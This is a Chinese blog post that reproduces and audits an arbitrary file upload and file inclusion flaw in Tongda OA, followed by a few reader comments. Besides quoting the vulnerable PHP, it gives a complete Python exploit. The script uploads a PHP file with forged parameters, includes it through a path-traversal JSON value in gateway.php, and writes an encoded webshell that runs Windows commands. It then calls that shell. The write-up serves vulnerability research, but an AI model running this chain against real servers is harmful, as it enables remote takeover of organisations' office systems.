通达OA 任意文件上传 复现和代码分析
说明一下
文件包含的文件只有2017和v11有 然后我这边是拿的一个2013 增强版做测试的。所以默认是没有那个文件包含的。只是作为演示
一、环境搭建
http://www.tongda2000.com/download/2013adv.php
下载后点击安装
安装完成之后 设置端口
然后打开
这里2013增强版是没有那个包含的。这里为了测试下载两个文件。然后呢。需要下载两个文件
https://github.com/jas502n/OA-tongda-RCE
少宇师傅已经发出来
由于官网下载的文件里面没有 interface 目录然后新建一个 interface 然后把 gateway.php 丢入到目录中
然后替换ispirit/im/upload.php
审计如下:
$P = $_POST['P']; if (isset($P) || $P != '') { ob_start(); include_once 'inc/session.php'; session_id($P); session_start(); session_write_close(); } else { include_once './auth.php'; }
这里这里只判断了是否存在这个传参p 如果存在那么就应用了session
然后第二个关键参数DEST_UID
$DEST_UID = $_POST['DEST_UID']; $dataBack = array(); if ($DEST_UID != '' && !td_verify_ids($ids)) { $dataBack = array('status' => 0, 'content' => '-ERR ' . _('接收方ID无效')); echo json_encode(data2utf8($dataBack)); exit; }
这里只要随便指定一个参数就行了。
下一个参数$Files
if (1 <= count($_FILES)) { if ($UPLOAD_MODE == '1') { if (strlen(urldecode($_FILES['ATTACHMENT']['name'])) != strlen($_FILES['ATTACHMENT']['name'])) { $_FILES['ATTACHMENT']['name'] = urldecode($_FILES['ATTACHMENT']['name']); } }
这里上传的参数名字为ATTACHMENT 就是 例如
Content-Disposition: form-data; name=”ATTACHMENT”; filename=”filename.png”
这样的一个上传的包
继续下一个参数 UPLOAD_MODE
这里的话。UPLOAD_MODE 为1 的时候
这里我测试的时候是直接数据库报错了。然后就放弃了看这行代码
if ($UPLOAD_MODE == '2') { $DURATION = intval($_POST['DURATION']); $CONTENT = '[vm]' . $ATTACHMENT_ID . '|' . $ATTACHMENT_NAME . '|' . $DURATION . '[/vm]'; $query = 'INSERT INTO WEIXUN_SHARE (UID, CONTENT, ADDTIME) VALUES (\'' . $_SESSION['LOGIN_UID'] . '\', \'' . $CONTENT . '\', \'' . time() . '\')'; $cursor = exequery(TD::conn(), $query); echo '+OK ' . $CONTENT;
这里是直接返回了一个
+OK [vm]2762@2003_819548448|filename.png|0[/vm]
得到返回之后。去看了一下OA的安装目录找到了这个文件的存放位置
注意是在安装目录的下面。不是代码目录。
下面看文件包含的部分
ispirit\interface\gateway.php
if ($json) { $json = stripcslashes($json); $json = (array) json_decode($json); foreach ($json as $key => $val) { if ($key == 'data') { $val = (array) $val; foreach ($val as $keys => $value) { ${$keys} = $value; } } if ($key == 'url') { $url = $val; } } if ($url != '') { if (substr($url, 0, 1) == '/') { $url = substr($url, 1); } if (strpos($url, 'general/') !== false || strpos($url, 'ispirit/') !== false || strpos($url, 'module/') !== false) { include_once $url; } } exit; }
这里传递了一个json 过来。然后
大概就是如下的意思
{‘json’: ‘{“url”:”1.txt”}’}
然后具体的exp 如下:
import os import requests # author :print("") proxies = { "http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080", } if not os.path.exists('1.txt'): f=open('1.txt','w') f.write('''<?php $fp = fopen('readme.php', 'w'); $a = base64_decode("JTNDJTNGcGhwJTBBJTI0Y29tbWFuZCUzRCUyMndob2FtaSUyMiUzQiUwQSUyNHdzaCUyMCUzRCUyMG5ldyUyMENPTSUyOCUyN1dTY3JpcHQuc2hlbGwlMjclMjklM0IlMEElMjRleGVjJTIwJTNEJTIwJTI0d3NoLSUzRWV4ZWMlMjglMjJjbWQlMjAvYyUyMCUyMi4lMjRjb21tYW5kJTI5JTNCJTBBJTI0c3Rkb3V0JTIwJTNEJTIwJTI0ZXhlYy0lM0VTdGRPdXQlMjglMjklM0IlMEElMjRzdHJvdXRwdXQlMjAlM0QlMjAlMjRzdGRvdXQtJTNFUmVhZEFsbCUyOCUyOSUzQiUwQWVjaG8lMjAlMjRzdHJvdXRwdXQlM0IlMEElM0YlM0U="); fwrite($fp, urldecode($a)); fclose($fp); ?> ''') f.close() upload_url = "http://192.168.1.145:8181/ispirit/im/upload.php" include_url = "http://192.168.1.145:8181/ispirit/interface/gateway.php" shell_url="http://192.168.1.145:8181/ispirit/interface/readme.php" files = {'ATTACHMENT':open('1.txt','r')} upload_data={"P":"123","DEST_UID":"1","UPLOAD_MODE":"2"} upload_res = requests.post(upload_url,upload_data,files=files,proxies=proxies) path = upload_res.text path = path[path.find('@')+1:path.rfind('|')].replace("_","\/").replace("|",".") include_data = {"json":"{\"url\":\"/general/../../attach/im/" +path+"\"}"} print(include_data) include_res = requests.post(include_url,data=include_data,proxies=proxies) shell_res=requests.get(shell_url) print(shell_res.text)
test94
2020年3月20日 下午6:02
昨天看你的文章写Nmap脚本,我就看这个文件MAC时间都是13年左右,就好奇哪里修复了
print("")
2020年3月20日 下午6:04
只有v11 和2017 拿2013 那个只是为了演示。
师兄今天想开了吗
2020年4月5日 上午12:19
这么全面的教程,博主真厉害
钻网
2020年5月4日 上午8:45
春暖花开,下次再来!